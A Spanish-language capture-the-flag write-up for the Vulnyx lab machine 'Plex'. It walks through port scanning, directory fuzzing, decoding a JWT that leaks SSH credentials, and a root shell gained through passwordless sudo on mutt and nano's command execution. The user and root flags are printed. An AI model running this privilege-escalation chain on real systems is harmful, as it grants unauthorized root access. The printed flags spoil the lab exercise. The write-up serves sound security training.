Plex Vulnyx (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-09 03:14 EDT
Nmap scan report for 192.168.5.73
Host is up (0.0028s latency).
PORT STATE SERVICE VERSION
21/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
| 256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_ 256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)
MAC Address: 08:00:27:05:E0:F5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.62 seconds
Solamente veremos un puerto SSH
abierto el cual esta cambiado de su puerto original, por lo que vamos a investigar a ver que podemos hacer, pero si vemos un poco mejor posiblemente se este utilizando un SSLH
.
SSLH
es un programa multiplexor de protocolos que permite usar un mismo puerto para varios servicios distintos (por ejemplo, SSH
, HTTPS
, OpenVPN
…) y decide a cuál redirigir la conexión según el protocolo que detecta.
Vamos a probar de esta forma:
nmap -p 21 --script=ssh-hostkey,ftp-anon,ssl-cert <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-09 03:23 EDT
Nmap scan report for 192.168.5.73
Host is up (0.0018s latency).
PORT STATE SERVICE
21/tcp open ftp
MAC Address: 08:00:27:05:E0:F5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.48 seconds
Vemos que si prueba con los scripts de FTP
veremos que funciona, por lo que realmente si se esta utilizando un multiservicio, vamos a intentar conectarnos a FTP
de forma anonima a ver si nos deja.
ftp anonymous@<IP>
Veremos que no nos deja meternos, por lo que vamos a ver si no tuviera algun HTTP
integrado.
curl -I <IP>:21
Info:
HTTP/1.1 200 OK
Date: Sat, 09 Aug 2025 07:28:25 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Wed, 28 Feb 2024 17:50:38 GMT
ETag: "31-61274c7cf8519"
Accept-Ranges: bytes
Content-Length: 49
Content-Type: text/html
Veremos que esto si funciono, por lo que tiene como una pagina web por dentras, vamos a ver que descubrimos si seguimos realizando un pequeño fuzzing
en dicha pagina.
Gobuster
gobuster dir -u http://<IP>:21/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.73:21/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 49]
/.html (Status: 403) [Size: 277]
/robots.txt (Status: 200) [Size: 58]
/.php (Status: 403) [Size: 277]
[!] Keyboard interrupt detected, terminating.
Progress: 111787 / 882244 (12.67%)
===============================================================
Finished
===============================================================
Ahora si investigamos que contiene el robots.txt
veremos lo siguiente:
curl http://<IP>:21/robots.txt
Info:
User-agent: *
Disallow: /9a618248b64db62d15b300a07b00580b
Vamos a ver ahora que contiene dicha ruta mostrada por el robots.txt
.
curl http://<IP>:21/9a618248b64db62d15b300a07b00580b
Info:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.5.73:21/9a618248b64db62d15b300a07b00580b/">here</a>.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 192.168.5.73 Port 21</address>
</body></html>
Por lo que vemos nos comenta que algo se ha movido de lugar, pero no sabemos lo que hay despuesde esa /
por lo que tendremos que realizar un poco de fuzzing
para ver que vemos.
gobuster dir -u http://<IP>:21/9a618248b64db62d15b300a07b00580b/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.73:21/9a618248b64db62d15b300a07b00580b/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 217]
/.php (Status: 403) [Size: 277]
/.html (Status: 403) [Size: 277]
[!] Keyboard interrupt detected, terminating.
Progress: 99355 / 882244 (11.26%)
===============================================================
Finished
===============================================================
Vamos a probar con index.html
a ver si nos aparece otra cosa en dicha pagina.
Escalate user mauro
curl http://<IP>:21/9a618248b64db62d15b300a07b00580b/index.html
Info:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk
Por lo que estamos viendo, tiene toda la pinta de una estructura de Cookie TOKEN JWT
por los .
de las separaciones, etc... Estas suelen contener informacion del usuario en general, vamos a ver si conseguimos decodificarla para obtener algo.
echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk' \
| cut -d '.' -f2 \
| base64 -d \
| jq .
Info:
{
"iss": "",
"iat": null,
"exp": null,
"aud": "",
"sub": "",
"id": "1",
"username": "mauro",
"password": "m@uR0123!"
}
Veremos que contiene un nombre de usuario y contraseña en texto plano, por lo que vamos a acceder directamente desde SSH
a ver si hay suerte.
SSH
ssh mauro@<IP>
Metemos como contraseña m@uR0123!
y veremos que estaremos dentro.
mauro@plex:~$ whoami
mauro
Por lo que vamos a leer la flag
del usuario.
user.txt
05135a0133cbb692dc66761e5d99364a
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for mauro on plex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mauro may run the following commands on plex:
(root) NOPASSWD: /usr/bin/mutt
Vemos que podemos ejecuatar el binario mutt
como el usuario root
, por lo que haremos lo siguiente:
echo 'echo pwned; /bin/bash -p' > /tmp/draft
sudo /usr/bin/mutt -H /tmp/draft
En este punto nos pedira que pongamos nuestro nombre y despues el concepto del mensaje, nos lo inventamos todo, echo esto nos llevara a nano
para escribir la carta, en este punto vemos que anteriormente hemos ejecutado el binario con privilegios de root
por lo que si dentro de nano
ejecutamos algun comando podremos obtener una shell como root
.
^R^X
reset; bash 1>&0 2>&0
Info:
root@plex:/home/mauro# whoami
root
Con esto veremos que ya seremos root
, por lo que leeremos la flag
de root
.
root.txt
943f08fb32181d5f8171332146f39e41
Last updated